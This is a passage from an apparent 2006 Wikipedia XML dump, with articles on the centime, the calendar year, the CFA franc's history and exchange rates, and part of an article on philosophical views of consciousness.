* The term &quot;chemical&quot; may refer to any chemical substance, though a popular meaning is &quot;a product of the chemical industry&quot;.  As such the term may carry connotations of being &quot;unnatural&quot; and perhaps harmful, even when such fears are unjustified, as with the [[dihydrogen monoxide hoax]].

[[Category:Chemistry]]

[[ar:مادة كيميائية]]
[[cs:Látka]]
[[de:Stoff (Chemie)]]
[[el:Χημική ουσία]]
[[he:כימיקלים]]
[[ja:薬品]]
[[mk:Супстанција]]
[[su:Bahan kimia]]
[[th:สารเคมี]]
[[tl:Sustansyang kimikal]]</text>
    </revision>
  </page>
  <page>
    <title>Centime</title>
    <id>5661</id>
    <revision>
      <id>39730558</id>
      <timestamp>2006-02-15T13:10:40Z</timestamp>
      <contributor>
        <username>Macha</username>
        <id>867578</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Centime''' (from Latin ''centesimus'') is [[French language|French]] for &quot;[[Cent (currency)|cent]]&quot;, and is used in English as the name of the fraction [[currency]] in several [[Francophone]] [[country|countries]] (including [[Switzerland]], [[Algeria]], [[Belgium]] and [[France]]).

In France the usage of ''centime'' goes back to the introduction of the decimal monetary system under [[Napoleon]]. This system aimed at replacing non-decimal fractions of older coins. A five-centime coin was known as a ''sou'', i.e. a [[Solidus (coin)|solidus]] or [[shilling]].

==Subdivision of euro: cent or centime?==
In the European community ''cent'' is the official name for 1/100 of a [[euro]]. However, in french-speaking countries the word ''centime'' is the one preferentially used. Indeed, the [[Conseil supérieur de la langue française]] of Belgium recommends in 2001 the use of ''centime'', since the word ''cent'' has two meanings (&quot;cent&quot; and &quot;hundred&quot;). An analogous decision is published in [[Journal officiel]] in France (december 2, 1997).

In Latvia this coin is also called ''centime'' (latvian: santīms)
{{money-stub}}

[[de:Centime]]
[[fr:Centime]]
[[it:Centime]]
[[pl:Centym]]</text>
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  </page>
  <page>
    <title>Calendar year</title>
    <id>5662</id>
    <revision>
      <id>38308281</id>
      <timestamp>2006-02-05T13:29:30Z</timestamp>
      <contributor>
        <username>Vriullop</username>
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      <minor />
      <comment>interwiki +ca</comment>
      <text xml:space="preserve">According to the [[Gregorian calendar]], the '''calendar year''' begins on [[January 1]] and ends on [[December 31]]. Other alignments of the 12-month period can be used for purposes of [[accounting]] (see [[fiscal year]]).

Generally speaking, a calendar year begins on the [[New Year|New Year's day]] of the given calendar system and ends on the day before the following New Year's day.

==See also==
*[[Calendar]]
*[[Year]]
*[[Seasonal year]]
*[[Fiscal year]]

[[Category:Units of time]]

[[ca:Any civil]]
[[et:Kalendriaasta]]
[[th:ปีปฏิทิน]]</text>
    </revision>
  </page>
  <page>
    <title>CFA franc</title>
    <id>5663</id>
    <revision>
      <id>39162795</id>
      <timestamp>2006-02-11T03:13:39Z</timestamp>
      <contributor>
        <username>Naryathegreat</username>
        <id>82340</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Cfa map.png|frame|right|The countries using the CFA franc]]

The '''CFA franc''' (in [[French language|French]]: ''franc CFA'', or just ''franc'' in everyday conversation if no ambiguity is possible) is a currency used in 12 formerly [[France|French]]-ruled [[African]] countries, as well as in [[Guinea-Bissau]] (former [[Portugal|Portuguese]] colony) and in [[Equatorial Guinea]] (former [[Spain|Spanish]] colony). The [[ISO 4217|ISO currency code]] for the Central African CFA is XAF and for the West African CFA is XOF.

It has a fixed rate compared to the [[euro]]: 100 CFA francs = 0.152449 euro, or 1 euro = 655.957 CFA francs.

==Name==
CFA stood for ''Colonies françaises d'Afrique'' (&quot;French colonies of Africa&quot;) between [[1945]] and [[1958]], and then for ''Communauté française d'Afrique'' (&quot;French community of Africa&quot;) between [[1958]] (establishment of the [[French Fifth Republic]]) and the independence of these African countries at the beginning of the 1960s. Since the time of their independence, CFA can have two meanings (see Institutions below).

==History==
===Creation===
The CFA franc was created on [[December 26]], [[1945]], along with the [[CFP franc]]. The reason for the creation of these francs was the weakness of the [[French franc]] immediately after the [[World War II|Second World War]]. When France ratified the [[Bretton Woods system|Bretton Woods Agreement]] in December [[1945]], the [[French franc]] was devalued in order to set a [[fixed exchange rate]] with the [[US dollar]]. New currencies were created in the French colonies to spare them the strong devaluation of December [[1945]]. [[René Pleven]], the French minister of finance, was quoted saying: &quot;In a show of her generosity and selflessness, metropolitan France, wishing not to impose on her far-away daughters the consequences of her own poverty, is setting different exchange rates for their currency.&quot;

===Exchange rate===
The CFA franc was created with a fixed exchange rate vs. the [[French franc]]. The exchange rate vs. the [[French franc]] was changed only twice: in [[1948]] and in [[1994]].

Exchange rate: 

* [[December 26]], [[1945]] to [[October 16]], [[1948]] &amp;ndash; 1 CFA franc = 1.70 FRF (FRF = French franc). This 0.70 FRF premium is the consequence of the creation of the CFA franc which spared the French African colonies the devaluation of December [[1945]] (before December 1945, 1 local franc in these colonies was worth 1 French franc).
* [[October 17]], [[1948]] to [[December 31]], [[1959]] &amp;ndash; 1 CFA franc = 2.00 FRF (the CFA franc had followed the French franc's devaluation vs. the US dollar in January 1948, but on [[October 18]] [[1948]] the French franc devalued again and this time the CFA franc was revalued against the French franc to offset almost all of this new devaluation of the French franc; after October 1948 the CFA was never revalued again vs. the French franc and followed all the successive devaluations of the French franc)
* [[January 1]], [[1960]] to [[January 11]], [[1994]] &amp;ndash; 1 CFA franc = 0.02 FRF ([[January 1]] [[1960]]: the French franc revalued, with 100 'old' francs becoming 1 'new' franc) 
* [[January 12]], [[1994]] to [[December 31]], [[1998]] &amp;ndash; 1 CFA franc = 0.01 FRF (sharp devaluation of the CFA franc to help African exports) 
* [[January 1]], [[1999]] onward &amp;ndash; 100 CFA franc = 0.152449 euro or 1 euro = 655.957 CFA franc. ([[January 1]], [[1999]]: [[euro]] replaced FRF at the rate of 6.55957 FRF for 1 euro) 

The [[1960]] and [[1999]] events are merely changes in the currency in use in France: the relative value of the CFA franc vs. the French franc / euro changed only in [[1948]] and [[1994]].

The value of the CFA franc has been widely criticized as being too high, which many economists believe favors the urban elite of the African countries which can buy manufactured goods cheaply at the expense of the farmers who cannot easily export agricultural products. The devaluation of [[1994]] was an attempt to reduce the value of the CFA franc.

===Countries and other territories===
* 1949: [[French Somaliland]] (Djibouti) leaves
* 1960: [[Guinea]] leaves
* 1962: [[Mali]] leaves
* 1967: [[Réunion]] leaves for French franc
* 1973: [[Madagascar]] leaves (1972 according to another source)
* 1973: [[Mauritania]] leaves
* 1974: [[Saint-Pierre and Miquelon]] leaves
* 1984: [[Mali]] rejoins (1 franc = 2 [[Malian franc]]s)
* 1985: [[Equatorial Guinea]] joins (1 &quot;franco&quot; = 4 [[ekwele|bipkwele]])
* 1997: [[Guinea-Bissau]] joins (1 franc = 65 [[Guinea Bissau peso|pesos]])

===European Monetary Union===
In 1998 in anticipation of [[Economic and Monetary Union of the European Union]], the [[Council of the European Union]] addressed the monetary agreements France has with the CFA Zone and [[Comoros]] and ruled that: 

* the agreements are unlikely to have any material effect on the [[monetary policy|monetary]] and [[exchange rate regime|exchange rate policy]] of the [[Euro zone]]
* in their present forms and states of implementation, the agreements are unlikely to present any obstacle to a smooth functioning of [[economic and monetary union]]
* nothing in the agreements can be construed as implying an obligation for the [[European Central Bank]] (ECB) or any national [[central bank]] to support the convertibility of the CFA and [[Comorian franc]]s
* modifications to the existing agreements will not lead to any obligations for the European Central or any national central bank
* the French Treasury will guarantee the free convertibility at a fixed parity between the [[euro]] and the CFA and Comorian francs
* the competent French authorities shall keep the [[European Commission]], the European Central Bank and the Economic and Financial Committee informed about the implementation of the agreements and inform the Committee prior to changes of the parity between the euro and the CFA and Comorian francs
* any change to the nature or scope of the agreements would require Council approval on the basis of a Commission recommendation and ECB consultation

==Institutions==
Strictly speaking, there actually exist two different currencies called CFA franc: the West African CFA franc ([[ISO 4217]] currency code XOF), and the Central Africa CFA franc ([[ISO 4217]] currency code XAF). They are distinguished in French by the meaning of the abbreviation CFA. These two CFA francs have the same exchange rate with the euro (1 euro = 655.957 XOF = 655.957 XAF), and they are both guaranteed by the French treasury ([[Trésor public]]), but the West African CFA franc cannot be used in Central African countries, and the Central Africa CFA franc cannot be used in West African countries.

===West African===
The West African CFA franc (XOF) is just known in [[French language|French]] as the ''Franc CFA'', where CFA stands for ''Communauté financière d'Afrique'' (&quot;Financial Community of Africa&quot;). It is issued by the BCEAO (''[[Banque Centrale des États de l'Afrique de l'Ouest]]'', i.e. &quot;Central Bank of the West African States&quot;), located in [[Dakar]], [[Senegal]], for the 8 countries of the UEMOA (''Union Économique et Monétaire Ouest Africaine'', i.e. &quot;[[West African Economic and Monetary Union]]&quot;):
*[[Benin]]
*[[Burkina Faso]]
*[[Côte d'Ivoire]]
*[[Guinea-Bissau]]
*[[Mali]]
*[[Niger]]
*[[Senegal]]
*[[Togo]]
These 8 countries have a total population of 75.5 million inhabitants ([[2003]]) and a combined GDP of 36.96 billion USD in [[2003]]. This is about the same population and GDP as [[Vietnam]].

In [[2004]], the 1994 series of West African banknotes were switched for a new series. These new notes have updated security features, and are more modern in design. The switch has also been welcomed by some because of the perception that the old bills were dirty and disease-ridden ([http://news.bbc.co.uk/1/hi/world/africa/3654920.stm 1]). Despite this, there are fears that those living in rural regions will not hear of the changeover, and as a result, will lose their savings when the older series notes are demonetarized. As well, the color of the 5,000 CFA bill was changed from blueish to green, which could leave open the possiblility of the illiterate being shortchanged when switching from the old to the new series.

The anglophone states of [[Gambia]], [[Ghana]], [[Nigeria]], and [[Sierra Leone]], and the francophone state of [[Guinea]], have formed the [[West African Monetary Zone]] (WAMZ) and will introduce a common currency, the ECO, on [[1 December]] [[2009]]. [[Liberia]] is also set to join this monetary zone, and the ultimate goal is to unite the [[UEMOA]] and the [[WAMZ]] to form a single West African monetary zone.

[[Mauritania]], a former French colony in West Africa, uses the [[Mauritanian ouguiya]] and not the CFA franc.

===Central African===
The Central Africa CFA franc (XAF) is just known in [[French language|French]] as the ''Franc CFA'', where CFA stands for ''Coopération financière en Afrique centrale'' (&quot;Financial Cooperation in Central Africa&quot;). It is issued by the BEAC (''[[Banque des États de l'Afrique Centrale]]'', i.e. &quot;Bank of the Central African States&quot;), located in [[Yaounde]], [[Cameroon]], for the 6 countries of the CEMAC (''Communauté Économique et Monétaire de l'Afrique Centrale'', i.e. &quot;[[Economic and Monetary Community of Central Africa]]&quot;):
*[[Cameroon]]
*[[Central African Republic]]
*[[Chad]]
*[[Republic of the Congo]]
*[[Equatorial Guinea]]
*[[Gabon]]
These 6 countries have a total population of 34.15 million inhabitants ([[2003]]) and a combined GDP of 28.3 billion USD in [[2003]]. This is about the same population as [[Tanzania]], and the same GDP as [[Kazakhstan]].

[[Equatorial Guinea]], the only former Spanish colony in the zone, adopted the CFA in 1984.

==Denominations==
[[Coin]]s in circulation
*1 franc
*5 francs
*10 francs
*25 francs
*50 francs
*100 francs
*200 francs
*250 francs
*500 francs
[[Banknote]]s in circulation
*1,000 francs
*2,000 francs
*5,000 francs
*10,000 francs

==Current XOF/XAF exchange rates==
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=AUD&amp;to=XAF&amp;submit=Convert AUD] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=CAD&amp;to=XOF&amp;submit=Convert CAD] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=EUR&amp;to=XAF&amp;submit=Convert EUR] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=GBP&amp;to=XOF&amp;submit=Convert GBP] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=INR&amp;to=XAF&amp;submit=Convert INR] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=NZD&amp;to=XOF&amp;submit=Convert NZD] |
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=USD&amp;to=XAF&amp;submit=Convert USD]  

==See also==
*[[Economy of Africa]]
*[[Comorian franc]]
*[[Currencies related to the euro]]
*[[CFP franc]]

==External links==
*[http://www.globalfinancialdata.com/index.php3?action=showghoc&amp;country_name=Franc_Communaute_Financiere_Africaine_(CFA) History of the CFA franc]
*[http://www.banque-france.fr/gb/eurosys/zonefr/zonefr.htm Franc zone information at Banque de France] (in [[English language|English]])
*{{fr icon}} [http://www.banque-france.fr/fr/eurosys/zonefr/zonefr.htm Franc zone information at Banque de France] (in French, but more extensive than the English version)
*[http://europa.eu.int/eur-lex/pri/en/oj/dat/1998/l_320/l_32019981128en00580059.pdf  Decision of the Council of Europe on [[23 November]] [[1998]] regarding the CFA and Comorian francs] (Adobe Acrobat ([[PDF]]) file)
*[http://www.un.org/ecosocdev/geninfo/afrec/subjindx/subpdfs/124euro.pdf &quot;For better or worse: the euro and the CFA franc&quot;], Africa Recovery, Department of Public Information, United Nations

===West African===
*[http://www.bceao.int/  Banque Centrale des États de l'Afrique de l'Ouest]  (Central Bank of West African States)
*{{fr icon}} [http://www.uemoa.int/ Union Economique et Monétaire Ouest Africaine (UEMOA)] (Official Site of the West African Economic and Monetary Union)
*[http://www.home.earthlink.net/~wburson/Latest.htm &quot;The Many Varieties of West African States Banknotes&quot;] by Weldon D. Burson

===Central African===
*{{fr icon}} [http://www.beac.int/  Banque des États de l'Afrique Centrale]  (Bank of the Central Africa States)
*{{fr icon}} [http://www.cemac.cf/  Communauté Economique et Monétaire de l'Afrique Centrale]  (Official Site of the Economic and Monetary Community of Central Africa)

===Other===
*[http://www.banque-centrale.mg  Central Bank of Madagascar]
*{{fr icon}} [http://www.usenghor-francophonie.org/textintegral/conferences/messmer/titre.htm Passé et Avenir du Franc C.F.A.]
*[http://www.eldis.org/static/DOC4719.htm The CFA franc zone and the EMU]
*[http://finance.yahoo.com/currency/convert?amt=1&amp;from=USD&amp;to=XAF&amp;submit=Convert U.S. Dollar to CFA Franc (BEAC) Exchange Rate  - Yahoo! Finance]

{{AfricanCurrencies}}

[[Category:Economy of Benin]]
[[Category:Economy of Chad]]
[[Category:Monetary unions]]

[[ca:Franc CFA]]
[[cs:CFA frank]]
[[de:CFA-Franc]]
[[es:Franco CFA]]
[[fr:Zone franc]]
[[hr:CFA franak]]
[[ja:CFAフラン]]
[[lt:CFA frankas]]
[[nl:CFA-frank]]
[[no:CFA-franc]]
[[pl:Frank CFA]]
[[pt:Franco CFA]]
[[sv:CFA-franc]]</text>
    </revision>
  </page>
  <page>
    <title>Consciousness</title>
    <id>5664</id>
    <revision>
      <id>41968131</id>
      <timestamp>2006-03-02T23:08:52Z</timestamp>
      <contributor>
        <username>Semiconscious</username>
        <id>302094</id>
      </contributor>
      <minor />
      <comment>+portal</comment>
      <text xml:space="preserve">{{portalpar|Mind and Brain}}
'''Consciousness''' is a quality of the [[mind]] generally regarded to comprise such key features as [[subjectivity]], [[self-awareness]], [[sentience]], [[sapience]], and the ability to [[perception|perceive]] the relationship between [[personal identity|oneself]] and one's [[natural environment|environment]]. It is a subject of much research in [[philosophy]], [[psychology]], [[neurology]], and [[cognitive science]]. Consciousness differs itself from moral [[conscience]], often designed by the expression of a &quot;voice of conscience&quot; telling the good from the evil.

Some philosophers divide consciousness into phenomenal consciousness, which is experience itself, and access consciousness, which is the processing of the things in experience (Block 2004). Others consider this distinction to be mistaken (Dennett 1991). Some philosophers believe that consciousness is part of the physical world whilst others believe it may be separate from the physical world in some sense. (Descartes, in particular, strongly held this view.) Many cultures and religious traditions place the seat of consciousness in a [[soul]] that is the mind separate from the body. Some consider consciousness to be intimately linked to the neural functioning of the [[brain]], dictating the way by which the world is experienced. [[Marx]], [[Nietzsche]] and [[Freud]] all criticized the notion of a conscious [[subject (philosophy)|subject]], [[sovereignty|sovereign]] of himself, which forms the groundworks of the [[liberalism|liberal]] tradition of the [[social contract]].

Humans (and often other animals, as well) are variously said to possess consciousness, [[self-awareness]], and a [[mind]] that contains our sensations, perceptions, [[dreams]], [[lucid dreams]], inner speech and imagination etc. Each of us has a [[subjective]] view. There are many debates about the extent to which the mind constructs or experiences the outer world, the passage of [[time]], and [[free will]].

An understanding of necessary preconditions for consciousness in the human brain may allow us to address important ethical questions. For instance, to what extent are non-human animals conscious? At what point in human development does consciousness begin? Can machines ever achieve conscious states? These issues are of great interest to those concerned with the ethical treatment of other beings, be they [[animal rights|animals]], [[fetus|fetuses]], or in the future, [[artificial consciousness|machines]]. [[Panpsychism]] is the belief that all matter is sentient or conscious.

In common parlance, consciousness denotes being [[awake]] and responsive to one's environment; this contrasts with [[unconsciousness]] as when being [[sleep|asleep]] or in a [[coma]] (distinct from Freud's [[unconscious mind]]). The term 'level of consciousness' denotes how consciousness seems to vary during [[anesthesia]] and during various states of mind, such as [[day dreaming]], [[lucid dreaming]], imagining, etc. Nonconsciousness exists when consciousness is not present. There is speculation, especially among religious groups, that consciousness may exist after death or before birth.

== Etymology  ==

&quot;Consciousness&quot; derives from Latin ''[[:la:conscientia|conscientia]]'' which primarily means [[conscience|moral conscience]]. In the literal sense, &quot;conscientia&quot; means knowledge-with, that is, shared knowledge. The word first appears in Latin juridic texts by writers such as [[Cicero]]. Here, ''conscientia'' is the knowledge that a witness has of the deed of someone else. In Christian theology, conscience stands for the moral conscience in which our actions and intentions are registered and which is only fully known to god. Medieval writers such as [[Thomas Aquinas]] describe the conscientia as the act by which we apply practical and moral knowledge to our own actions {{ref|Aquinas}}.
[[René Descartes]] has been said to be the first philosopher to use &quot;conscientia&quot; in a way that does not seem to fit this traditional meaning,  and, as a consequence, the translators of his writings in other languages like French and English coined new words in order to denote merely psychological consciousness. These are, for instance, ''[[:fr:conscience|conscience]]'', and ''[[:de:Bewusstsein|Bewusstsein]]'' {{ref|Davies}}.
However, it has also been argued that [[John Locke]] was in fact the first one to use the modern meaning of consciousness in his ''[[Essay Concerning Human Understanding]]'', although it remains closely intertwined with moral conscience (I may be held [[responsibility|morally responsible]] only for the act of which I am conscious of having achieved; and my personal identity - [[self (philosophy)|my self]] - goes as far as my consciousness extends itself). The modern sense of &quot;consciousness&quot; was therefore first found not in Descartes' work - who sometimes used the word in a modern sense, but did not distinguish it as much as would Locke do -, but in Locke's text. The modern sense of the word (consciousness associated to the idea of [[personal identity]], which is assured by the repeated consciousness of oneself) was therefore introduced by Locke; but the word &quot;conscience&quot; itself was coined by Pierre Costes, French translator of Locke. Henceforth, the modern sense first appeared in Locke's works, but the word itself first appeared in the French language {{ref|Balibar}}.

== Philosophical approaches ==
Some philosophers suggest that consciousness resists or even defies definition, although it is generally considered as the mental perception accompanying each thought (&quot;I am conscious that I am thinking&quot;). [[John Locke]] and succeeding philosophers considered it as the basis of [[personal identity]], of the [[self (philosophy)|self]]. This classic conception, which is at the basis of the [[social contract]] theory, has been challenged by thinkers such as [[Marx]], [[Nietzsche]] and [[Freud]]. Marx considered that ''social relations'' preceded individual consciousness; Nietzsche considered consciousness to be but the effect of [[guilt]] and ''[[ressentiment]]'' (while not denying its very real existence); and Freud thought the specific concept of an [[unconscious mind]], from which [[Carl Jung]] would derive the concept of a [[collective unconscious]], sometimes related to [[ideology]]. As a major characteristic of the definition of the [[subject (philosophy)|subject]], the criticisms of consciousness necessarily led to a criticism of the notion of an [[individualism|individual]] subject and its correlating [[free will]]. Still other philosophers have also tried to distinguish consciousness between ''phenomenal consciousness'' and ''access'' or ''psychological consciousness''. In a general sense, there are many philosophical stances on consciousness, including: [[behaviorism]], [[dualism]], [[idealism]], [[functionalism]], [[phenomenalism]], [[phenomenology]] (which describes [[intentionality]] as the basic structure of consciousness), [[physicalism]], [[emergentism]], [[mysticism]], etc. 

=== Consciousness as the basis of personal identity (John Locke) ===

[[John Locke]]'s chapter XXVII &quot;On Identity and Diversity&quot; in ''[[An Essay Concerning Human Understanding]]'' (1689) has been said to be one of the first modern conceptualization of consciousness as the repeated self-identification of [[self (philosophy)|oneself]], through which moral [[responsibility]] could be attributed to the [[subject (philosophy)|subject]] - and therefore punishment and [[guilt]]yness justified, as would critics such as [[Nietzsche]] point out.
According to Locke, [[personal identity]] (the self) &quot;depends on consciousness, not on [[substance theory|substance]]&quot; nor on the [[soul]]. We are the same person to the extent that we are conscious of our past and future thoughts and actions in the same way as we are conscious of our present thoughts and actions. If consciousness is this &quot;thought&quot; which doubles all thoughts, than personal identity is only founded on the repeated act of consciousness: &quot;This may show us wherein personal identity consists: not in the identity of substance, but... in the identity of consciousness&quot;. For example, one may claim to be a [[reincarnation]] of Plato, therefore having the same soul. However, one would be the same [[person]] as Plato only if one had the same consciousness of Plato's thoughts and actions that he himself did. Therefore, self-identity is not based on the soul. One soul may have various personalities.
Self-identity is not founded either on the body or the substance, argues Locke, as the substance may change while the person remains the same: &quot;animal identity is preserved in identity of life, and not of substance&quot;, as the body of the animal grows and change during its life. Take for example a prince's soul which enters the body of a cobbler: to all exterior eyes, the cobbler would remain a cobbler. But to the prince himself, the cobbler would be himself, as he would be conscious of the prince's thoughts and acts, and not of the cobbler's life. A prince's consciousness in a cobbler body: thus the cobbler is, in fact, a prince.
But this interesting border-case leads to this problematic thought that since personal identity is based on consciousness, and that only oneself can be aware of his consciousness, exterior human judges may never know if they really are judging - and punishing - the same person, or simply the same body. In other words, Locke argues that you may be judged only for the acts of your body, as this is what is apparent to all but God; however, you are in truth only [[responsibility|responsible]] for the acts for which you are conscious. This forms the basis of the [[insanity defense]]: one can't be held accountable for acts from which one was [[unconsciousness|unconscious]] - and therefore leads to interesting philosophical questions:

:&quot;personal identity consists [not in the identity of substance] but in the identity of consciousness, wherein if Socrate and the present mayor of Queenborough agree, they are the same person: if the same Socrates waking and sleeping do not partake of the same consciousness, Socrate waking and sleeping is not the same person. And to punish Socrates waking for what sleeping Socrates thought, and waking Socrates was never conscious of, would be no more right, than to punish one twin for what his brother-twin did, whereof he knew nothing, because their outsides were so like, that they could not be distinguished; for such twins have been seen.&quot;{{ref|Locke}}

Or again:

:&quot;PERSON, as I take it, is the name for this self. Wherever a man finds what he calls himself, there, I think, another may say is the same person. It is a forensic term, appropriating actions and their merit; and so belong only to intelligent agents, capable of a law, and happiness, and misery. This personality extends itself beyond present existence to what is past, only by consciousness, --whereby it becomes concerned and accountable; owns and imputes to itself past actions, just upon the same ground and for the same reason as it does the present. All which is founded in a concern for happiness, the unavoidable concomitant of consciousness; that which is conscious of pleasure and plain, desiring that that self that is conscious should be happy. And therefore whatever past actions it cannot reconcile or APPROPRIATE to that present self by consciousness, it can be no more concerned in it than if they had never been done: and to receive pleasure or pain, i.e. reward or punishment, on the account of any such action, is all one as to be made happy or miserable in its first being, without any demerit at all. For, supposing a MAN punished now for what he had done in another life, whereof he could be made to have no consciousness at all, what difference is there between that punishment and being CREATED miserable? And therefore, conformable to this, the apostle tells us, that, at the great day, when every one shall 'receive according to his doings, the secrets of all hearts shall be laid open.' The sentence shall be justified by the consciousness all person shall have, that THEY THEMSELVES, in what bodies soever they appear, or what substances soever that consciousness adheres to, are the SAME that committed those actions, and deserve that punishment for them.&quot; {{ref label|Locke|4|a}}

Henceforth, Locke's conception of personal identity founds it not on the substance or the body, but in the &quot;same continued consciousness&quot;, which is also distinct from the soul since the soul may have no consciousness of itself (as in reincarnation). He creates a third term between the soul and the body - and Locke's thought may certainly be meditated by those who, following a [[scientist]] ideology, would identify too quickly the brain to consciousness. For the brain, as the body and as any substance, may change, while consciousness remains the same. Therefore personal identity is not in the brain, but in consciousness. However, Locke's theory also reveals his debt to [[theology]] and to [[Apocalypse|Apocalyptic]] &quot;great day&quot;, which by advance excuse any failings of human justice and therefore humanity's miserable state.

=== Philosophical criticisms of the notion of consciousness ===

Locke's &quot;[[forensic]]&quot; notion of personal identity founded on an individual conscious [[subject (philosophy)|subject]] would be criticized in the 19th century by [[Marx]], [[Nietzsche]] and [[Freud]] following different angles. [[Martin Heidegger]]'s concept of the ''[[Dasein]]'' (&quot;[[Being]]-there&quot;) would also be a tentative to think beyond the conscious subject.

Marx considered that social relations [[ontology|ontologically]] preceded individual consciousness, and criticized the conception of a conscious subject as an [[Ideology#Ideology as an instrument of social reproduction|ideological]] conception on which [[liberalism]] political thought was founded. Marx in particular criticized the 1789 [[Declaration of the Rights of Man and of the Citizen]], considering that the so-called individual [[natural rights]] were ideological fictions camouflaging [[social inequality]] in the attribution of those rights. Later, [[Louis Althusser]] would criticize the &quot;bourgeois ideology of the subject&quot; through the concept of ''[[interpellation]]'' (&quot;Hey, you!&quot;).

Nietzsche, for his part, once wrote that &quot;they give you [[free will]] only to later blame yourself&quot;, thus reversing the classical [[liberalism|liberal]] conception of free will in a critical account of the genealogy of consciousness as the effect of guilt and [[ressentiment]], which he described in ''[[On the Genealogy of Morals]]''. Hence, Nietzsche was the first one to see how much the modern notion of consciousness was indebted to the modern system of penality, which judged a man according to his &quot;[[responsibility]]&quot;, that is by the consciousness through which acts can be attributed to an individual subject: &quot;I did this! this is me!&quot;. Consciousness is thus related by Nietzsche to the classic philosopheme of [[recognition]] which, according to him, defines [[knowledge]] {{ref|Gay}}.

According to [[Pierre Klossowski]] (1969), Nietzsche considered consciousness to be a [[reification|hypostatization]] of the [[body]], composed of multiple forces (the &quot;[[Friedrich Nietzsche#The Will to Power: the book and concept|Will to Power]]&quot;). According to him, the subject was only a &quot;grammatical fiction&quot;: we believed in the existence of an individual subject, and therefore of a specific author of each act, insofar as we speak. Therefore, the conscious subject is dependent on the existence of [[language]], a claim which would be generalized by [[critical discourse analysis]] (see for example [[Judith Butler]]).

[[Michel Foucault]]'s analyze of the creation of the individual subject through ''[[disciplinary institution|disciplines]]'', in ''[[Discipline and Punish]]'' (1975), would extend Nietzsche's genealogy of consciousness and personal identity - i.e. [[individualism]] - to the change in the juridico-penal system: the emergence of [[penology]] and the disciplinization of the individual subject through the creation of a penal system which judged not the acts as it alleged to, but the personal identity of the wrong-doer. In other words, Foucault maintained that, by judging not the acts (the crime), but the person behind those acts (the criminal), the modern penal system was not only following the philosophical definition of consciousness, once again demonstrating the imbrications between [[ideas]] and social institutions (&quot;material ideology&quot; as would call it Althusser); it was by itself creating the individual person, categorizing and dividing the masses into a category of poor but honest and law-abiding citizens and another category of &quot;professionals criminals&quot; or [[recidivist]]s.

=== Phenomenal and access consciousness ===
Some philosophers call our current experience ''phenomenal consciousness'' (P-consciousness), as contrasted with ''access consciousness'' (A-consciousness). Phenomenal consciousness is simply experience, it is moving, coloured forms, sounds, sensations, emotions and feelings with our bodies and responses at the center. These experiences, considered independently of any impact on behavior, are called [[qualia]]. The ''[[hard problem of consciousness]]'' was formulated by [[David Chalmers|Chalmers]] in 1996, dealing with the issue of &quot;how to explain a state of phenomenal consciousness in terms of its neurological basis&quot; (Block 2004). [[Daniel Dennett]](1988) suggests that what people think of as qualia are judgements and consequent behaviour. He extends this analysis (Dennett (1996)) by arguing that phenomenal consciousness can be explained in terms of access consciousness, denying the existence of qualia, hence denying the existence of a &quot;hard problem.&quot; 

''Access consciousness'' is the phenomenon whereby information in our minds is accessible for verbal report, reasoning, and the control of behavior. So, when we [[perception|perceive]], information about what we perceive is often access conscious; when we [[introspection|introspect]], information about our thoughts is access conscious; when we [[memory|remember]], information about the past (e.g., something that we [[learning|learned]]) is often access conscious; and so on. Chalmers thinks that access consciousness is less mysterious than phenomenal consciousness, so that it is held to pose one of the ''easy problems'' of consciousness. Dennett disagrees, asserting that the totality of consciousness can be understood in terms of impact on behavior, as studied through [[heterophenomenology]].

Events that occur in the mind or brain that are not within phenomenal or access consciousness are known as ''[[subconscious mind|subconscious]]'' events.

===The description and location of phenomenal consciousness===

Although it is the conventional wisdom that consciousness cannot be defined, philosophers have been describing phenomenal consciousness for centuries. [[Rene Descartes]] wrote ''[[Meditations on First Philosophy]]'' in the seventeenth century, containing extensive descriptions of what it is to be conscious. Descartes described conscious experience as imaginings and perceptions laid out in space and time that are viewed from a point. Each thing appears as a result of some quality (qualia) such as colour, smell, etc. Other philosophers, such as [[Nicholas Malebranche]], [[John Locke]], [[David Hume]] and [[Immanuel Kant]], also agreed with much of this description, although some avoid mentioning the viewing point. The extension of things in time was considered in more detail by Kant and James. Kant wrote that &quot;only on the presupposition of time can we represent to ourselves a number of things as existing at one and the same time (simultaneously) or at different times (successively).&quot; [[William James]] stressed the extension of experience in time and said that time is &quot;the short duration of which we are immediately and incessantly sensible.&quot; These philosophers also go on to describe dreams, thoughts, emotions, etc. 

When we look around a room or have a dream, things are laid out in space and time and viewed as if from a point. However, when philosophers and scientists consider the location of the form and contents of this phenomenal consciousness, there are fierce disagreements. As an example, Descartes proposed that the contents are brain activity seen by a non-physical place without extension (the Res Cogitans), which he identified as the soul. This idea is known as ''[[Cartesian Dualism]]''. Another example is found in the work of [[Thomas Reid]] who thought the contents of consciousness are the world itself, which becomes conscious experience in some way. This concept is a type of [[Direct realism]]. The precise physical substrate of conscious experience in the world, such as photons, quantum fields, etc. is usually not specified.

Other philosophers, such as [[George Berkeley]], have proposed that the contents of consciousness are an aspect of minds and do not involve matter at all. This is a type of [[Idealism]]. Yet others, such as [[Leibniz]], have considered that each point in the universe is endowed with conscious content. This is a form of [[Panpsychism]]. Panpsychism is the belief that all matter, including rocks for example, is sentient or conscious. The concept of the things in conscious experience being impressions in the brain is a type of [[representationalism]], and representationalism can be a form of [[indirect realism]].

Some philosophers, such as [[David Malet Armstrong| David Armstrong]] and [[Daniel Dennett]], believe that qualia exist in terms of judgements or beliefs about things in the world, and are therefore meaningless when separated from behavior, while other philosophers insist that qualia cannot be understood in terms of belief. Dennett believes that &quot;ineffable, intrinsic, private&quot; qualia do not exist (Dennett 1988). However, Dennett does not believe that we lack conscious, phenomenal experience.

:&quot;Dennett suggests that while some episodes of mental life have impoverished contents, others are very rich and are full of content and information. Block would characterize the rich episodes of mental life as being instances of P-Consciousness and in cases where Dennett would suggest that content is impoverished, Block would claim that P-Consciousness is missing altogether.&quot; (Silby, 1998) [http://www.def-logic.com/articles/silby011.html]

